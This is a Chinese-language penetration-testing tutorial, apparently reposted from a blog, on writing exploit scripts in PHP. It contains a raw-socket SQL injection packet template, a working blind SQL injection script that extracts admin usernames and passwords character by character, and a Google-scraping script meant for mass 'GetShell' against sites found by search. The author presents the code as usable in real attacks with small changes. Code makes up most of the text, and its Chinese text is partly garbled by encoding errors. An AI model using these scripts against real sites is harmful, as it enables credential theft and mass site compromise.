滲透測試 - 通用PHP版Exploit框架編寫_cracer嗶哩嗶哩
無常規(guī)漏洞時代的到來,使得市面上目前很多流行的注入測試工具都無法勝任那些非常規(guī)的注入點,而腳本的靈活性可以很方便對這些非常規(guī)的注入點進行測試,最常見的應(yīng)用莫過于通過腳本進行HTTP包的轉(zhuǎn)發(fā),配合注入測試工具進行注入的了。而今天想探討的主要是PHP版的Exp的編寫,直接通過腳本來達到注入或者批量GetShell的目的.
?
0×02 PHP的WinSock函數(shù)
PHP的強大和易用性不用多說,他的擴展庫已經(jīng)把Winsock的相關(guān)函數(shù)已經(jīng)封裝好了。我們常用的主要有fsockopen,fwrite,fgets,fgetss,fclose,feof等.而通常Exp很多時候都是通過注入來獲取管理員的賬戶,所以可以大致抽象出一個流程如下:
1. 輸出Usage等信息
2. 構(gòu)造數(shù)據(jù)包
3. 循環(huán)發(fā)包
4. 得到結(jié)果判斷并輸出
這里直接用代碼說話吧.
?
PHP code
<?php
//腳本超時和報錯可以根據(jù)自己的需要來更改
error_reporting(E_ERROR);
set_time_limit(0);
?
//輸出版權(quán)信息,可有可無?
print_r('
——————————————————————————–
XXXXXXX SQL injection
xxxxxxx exploit
BY xxxxxx
——————————————————————————–
');
?
//通常Exp都使用命令行下輸入來接受參數(shù)
if ($argc<3) {
//$argc表示接受參數(shù)的長度,通常都是三個。$argv數(shù)組則是存儲的參數(shù)的值,$argv[0]第一個元素指本身文件名。
print_r('
——————————————————————————–
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpcms
Example:
php '.$argv[0].' localhost /
——————————————————————————–
');
die;
}
?
//參數(shù)獲取賦值,也是根據(jù)需要自行修改的.
$host=$argv[1];
$path=$argv[2];
$html=’’;
?
//構(gòu)造數(shù)據(jù)包
$cookie="? ?";
$agent=" User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1";
$content ="? ";
//注入發(fā)包的方式,有時候是GET,有時候是POST哦.
$data = "POST /xxxxxx/bug.php?aid=1 HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
//$data .="Cookie: ".$cookie."\r\n";
$data .= "User-Agent: ".$agent. "\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";?
//某些網(wǎng)站可能開啟了Gzip壓縮,具體可以在測試的時候通過抓包工具來獲取,如Live Http.
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
?
//發(fā)包
Sendpack($data);
?
//所有的返回結(jié)果會存在$html變量中,都是一些字符串,這時候發(fā)揮想象用正則或者是字符串判斷函數(shù)來得到結(jié)果
if (!eregi("created_time",$html)){
? ? ? ? echo $packet."\r\n";
? ? ? ? echo $html."\r\n";
? ? ? ? die("Exploit failed…");
}else{
? ? ? ? $pattern="? ?";
? ? ? ? preg_match($pattern,$html,$pg);
? ? ? ? //$html=
? //查找之后對$html的一些判斷…..
? ? ? ? echo "\r\nExploit succeeded…\r\n";
}
?
?
//封裝發(fā)包函數(shù)www.2cto.com
Function sendpack ($packet)
{
global? $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
?
?>0×03 CURL庫的應(yīng)用
能做的事情就更多了。還是直接那代碼說話吧,關(guān)于CURL的更多應(yīng)用可以參考其官方文檔。
?
PHP code
<?php?
?set_time_limit (0);
?
//參數(shù)獲取
?$url = $argv[1];
?$id = $argv[2];
?$opt = $argv[3];
?
//輸出提示
?if (count($argv)!=4){
?print_r('
XXXXXXXXX SQL Injection
')
?}else{
?
?preg_match_all("/需要匹配的內(nèi)容…/", GET($url), $dat, PREG_SET_ORDER);
?if (!$dat){
?echo "failed…\n";
?}else{
? //如果有相應(yīng)的數(shù)據(jù)…
?echo "XXXX SQL Injection\n";
?//選擇操作項目,這里可以自行發(fā)揮…
?if ($opt == "-u"){
?$var = "username";
?}elseif($opt == "-p"){
?$var = "password";
?}else{
?echo "[+] Parametros Incorrectos \n";
?exit();
?}
?
?echo $var.":\n";
?//0-9,a-z放入$ansi數(shù)組,為猜解做準備
?$ansi = genera_ansii();
?//構(gòu)造注入語句,結(jié)合$var自行定義..
?$query = "select+".$var."+from+admin_users+where+id=".$id;
?//獲取原頁面用于注入對比,也可自行構(gòu)造關(guān)鍵字對比,這里用的數(shù)據(jù)包長度,判斷包中換行行數(shù),可以自行發(fā)揮啦
?$original = contar($url);
?
?//循環(huán)猜解
?$i=1;
?for ($x=0;$x<=count($ansi);$x++){
?$var = $ansi[$x];
?//sqlexec重構(gòu)sql注射語句,可以自行修改成更完善的,這里用ascii和substring函數(shù)來判斷
?$urlblind = $url.sqlexec($query."+limit+0,1",$i).$var;
?$blind = contar($urlblind);
?//執(zhí)行語句成功返回and 1=1頁面,并輸出結(jié)果
?if ($blind == $original){
?$name.=chr($var);
?echo " :> ".$name.chr(8);
?$i++;
?$x=-1;
?}
?echo chr($var).chr(13);
?}
?echo "\nResult:> ".$name."\n";
?}
?}
?
?//函數(shù)封裝
?
?Function GET($url) {
?//初始化和構(gòu)造包頭,這里省略了部分..
?$curl = curl_init();
?$header[] = " ";
?$header[] = "Cache-Control: max-age=0";
?$header[] = "Connection: keep-alive";
?$header[] = "Keep-Alive: 300";
?//按需要構(gòu)造..
?//curl_setopt用來設(shè)定CURL操作的參數(shù)..
?curl_setopt($curl, CURLOPT_URL, $url);
?curl_setopt($curl, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
?curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
?curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
?curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
?curl_setopt($curl, CURLOPT_AUTOREFERER, true);
?curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
?curl_setopt($curl, CURLOPT_TIMEOUT, 10);
?if (!$html = curl_exec($curl)) {
?$html = file_get_contents($url);
?}
?curl_close($curl);
?return $html;
?}
?
?
?Function contar($host){
?return count(explode("\n",GET($host)));
?}
?
?
?Function sqlexec($sql,$i){
?return "+and+ascii(substring((".$sql."),".$i.",1))=";
?}
?
?Function genera_ansii(){
?for ($x=45;$x<=122;$x++){ //0-9 a-z && _
?if ($x==47){
?$x++;
?}
?if ($x==58){
?$x=$x+37;
?}
?if($x==96){
?$x++;
?}?
?$ansi[]=$x;
?}
?return $ansi;
?}
?
??>0×04 批量GetShell舉例
批量GetShell一般適合RFI漏洞,不過這里只舉一個小例子那就是通過抓取Google的結(jié)果來進行批量。結(jié)合前面的腳步只要做一些必要的修改便可以批量注入或者GetShell了。
?
PHP code
<?PHP
$keywords = $argv[1];
$html = google($keywords);
$match = "!<div\s*id=\"search\">(.*)</div>\s+<\!–z–>!";
preg_match_all($match,$html,$line);
//print_r ($line);
while (list($k,$v) = each($line[0])) {
preg_match_all("!<h3\s+class=\"r\"><a[^>]+>(.*?)</a>!", $v, $title);
$num = count($title[1]);
for ($i = 0; $i < $num; $i++) {
? ? ? ? if (strstr($title[0][$i], $url_s)) {
? $j = $i +1;
? echo $html;
? //echo $url;
? break;
?
? ? ? ? ? ?}
?
? ? ? ? ? ? ? ? ? ? ? ? }
?
? ? ? ? ? ? ? ? }? ??
unset ($html);
?
?
Function google($key) {
?//搜索的接口
? ? $url = "http://www.google.com/search?sclient=psy-ab&hl=en&site=&source=hp&q=$key";
?//手動抓包google cookies因為隨時會變化
? ? $cookie_file = dirname(__FILE__) . "/googlecookies.txt";
? ? $ch = curl_init();
? ? curl_setopt($ch, CURLOPT_URL, $url);
? ? curl_setopt($ch, CURLOPT_USERAGENT, '參照前面的腳本修改User-Agent');
? ? curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
? ? curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
? ? curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
? ? $contents = curl_exec($ch);
? ? curl_close($ch);
? ? return $contents;
}
?
?>0×05 總結(jié)
最后,很多同學(xué)認為Exp的使用需要一個完整的PHP環(huán)境,其實這不是必要的。一般來說只要包括PHP.exe和php5ts.dll 庫文件就可以使用Winsock函數(shù)了,但是如果要使用CURL庫的話還需要包括php_curl.dll,同時配合PHP命令行的參數(shù)來加載curl庫才能正常使用。
小弟功底尚淺,可能寫出來的腳步的通用性還不是很強,但是在原有基礎(chǔ)稍作修改應(yīng)該是能夠用于實戰(zhàn)的。另外,很多大牛也使用腳本寫出來很多通用的SQLi工具,比如Python寫的SqlMap。我認為利用腳步來滲透是個趨勢,PHP提供了很多方便的擴展庫,這使得它能在滲透中發(fā)揮很多神奇的功效,提筆數(shù)字略作探討